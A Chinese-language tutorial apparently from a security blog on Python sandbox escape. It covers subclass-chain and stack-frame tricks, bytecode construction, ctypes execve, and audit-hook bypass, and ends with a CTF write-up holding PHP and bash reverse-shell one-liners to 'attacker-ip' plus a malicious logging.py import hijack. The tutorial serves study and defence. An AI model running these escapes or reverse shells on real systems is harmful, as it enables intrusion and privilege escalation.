Python沙箱逃逸の旁门左道
字数 759 2025-08-22 12:23:41

Python沙箱逃逸高级技巧

1. 全局变量与内置函数

Python中的globals()包含了所有全局变量,包括内置函数__builtins__

dir(globals()['__builtins__'])  # 列出所有内置函数

防御措施

禁用高危内置函数:

eval(expression, {"__builtins__": {}}, context)  # 清空内置函数

绕过方法

通过类继承链获取__builtins__

[x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() 
 if x.__name__=="_wrap_close"][0]["system"]('ls')

2. MRO方法解析顺序

利用类的__mro__属性查看继承顺序,配合__subclasses__()获取子类:

''.__class__.__mro__[1].__subclasses__()

3. AST沙箱绕过

防御措施示例

class SafeEvaluator(ast.NodeVisitor):
    # 限制允许的节点类型和操作符
    allowed_nodes = (ast.Expression, ast.Call, ast.Name, ...)
    allowed_operators = (ast.Add, ast.Sub, ast.Mult, ...)
    
    def visit_Attribute(self, node):
        raise ValueError("禁止属性访问")

绕过思路

  • 通过字节码直接构造函数
  • 利用闭包或生成器获取上层作用域

4. 字节码与CodeObject

Python中万物皆对象,包括字节码(codeobject)。

手动构造函数

Python 3.11+示例:

import types

co_code = b'\x97\x00t\x01\x00\x00...'  # 字节码
co_consts = (None, 'os')
co_names = ('__import__', 'popen', 'read')

code_obj = types.CodeType(
    co_argcount, co_posonlyargcount, ...,
    co_code, co_consts, co_names, ...)

my_exec = types.FunctionType(code_obj, globals())
my_exec('ls')

5. 系统调用底层实现

绕过Python直接调用系统函数:

import ctypes

libc = ctypes.CDLL(None)
FORK = libc.fork
EXECVE = libc.execve

def my_system(command):
    args = command.split()
    argv = (ctypes.c_char_p * (len(args) + 1))()
    for i, arg in enumerate(args):
        argv[i] = arg.encode('utf-8')
    argv[len(args)] = None
    
    pid = FORK()
    if pid == 0:
        EXECVE(args[0].encode('utf-8'), argv, None)
        libc._exit(1)
    else:
        libc.waitpid(pid, None, 0)

my_system("/bin/ls")

6. 栈帧利用

Python是基于栈帧的语言,可通过多种方式获取当前栈帧:

通过异常获取

def get_stack_frame_via_exception():
    try:
        raise Exception
    except Exception as e:
        return e.__traceback__.tb_frame

通过闭包获取

def get_stack_frame_via_closure():
    frame = None
    def inner():
        nonlocal frame
        frame = (lambda: None).__code__.co_frame
    inner()
    return frame

通过生成器获取

def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  
    frame = next(g)
    return frame.f_back.f_back.f_globals['key']

利用方式

回溯栈帧获取__builtins__

def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()
    frame = [i for i in g][0]
    return frame.f_back.f_back.f_back.f_globals['__builtins__']

7. 审计钩子绕过

Python 3.8+的sys.audit机制会监控敏感操作。

绕过示例

重新定义关键函数:

[len:=lambda x:1, os:=__import__("os"), os.system(cmd)]

8. import机制利用

Python的import顺序:

  1. 当前目录
  2. 系统内置路径

利用方法

上传恶意模块到当前目录,如logging.py,利用条件竞争实现提权。

9. 实战案例

巅峰极客CTF题解

  1. 通过PHP反弹nobody权限shell
<?php system('php -r \'$sock=fsockopen("attacker-ip",1337);exec("sh <&3 >&3 2>&3");\'');?>
  1. 创建恶意logging.py并循环复制
echo "__import__('os').popen('bash -i >& /dev/tcp/attacker-ip/1338 0>&1')" > /tmp/logging.py
echo "while true; do cp /tmp/logging.py /sandbox/target/logging.py; done" > /tmp/exp.sh
sh /tmp/exp.sh
  1. 触发import执行恶意代码

防御建议

  1. 使用严格的AST检查
  2. 限制字节码操作
  3. 监控栈帧操作
  4. 控制import路径
  5. 实施最小权限原则
  6. 使用容器隔离环境

这些技术展示了Python沙箱逃逸的多种高级方法,理解这些原理对于构建更安全的Python环境至关重要。

Python沙箱逃逸高级技巧 1. 全局变量与内置函数 Python中的 globals() 包含了所有全局变量,包括内置函数 __builtins__ : 防御措施 禁用高危内置函数: 绕过方法 通过类继承链获取 __builtins__ : 2. MRO方法解析顺序 利用类的 __mro__ 属性查看继承顺序,配合 __subclasses__() 获取子类: 3. AST沙箱绕过 防御措施示例 绕过思路 通过字节码直接构造函数 利用闭包或生成器获取上层作用域 4. 字节码与CodeObject Python中万物皆对象,包括字节码(codeobject)。 手动构造函数 Python 3.11+示例: 5. 系统调用底层实现 绕过Python直接调用系统函数: 6. 栈帧利用 Python是基于栈帧的语言,可通过多种方式获取当前栈帧: 通过异常获取 通过闭包获取 通过生成器获取 利用方式 回溯栈帧获取 __builtins__ : 7. 审计钩子绕过 Python 3.8+的 sys.audit 机制会监控敏感操作。 绕过示例 重新定义关键函数: 8. import机制利用 Python的import顺序: 当前目录 系统内置路径 利用方法 上传恶意模块到当前目录,如 logging.py ,利用条件竞争实现提权。 9. 实战案例 巅峰极客CTF题解 通过PHP反弹nobody权限shell 创建恶意 logging.py 并循环复制 触发import执行恶意代码 防御建议 使用严格的AST检查 限制字节码操作 监控栈帧操作 控制import路径 实施最小权限原则 使用容器隔离环境 这些技术展示了Python沙箱逃逸的多种高级方法,理解这些原理对于构建更安全的Python环境至关重要。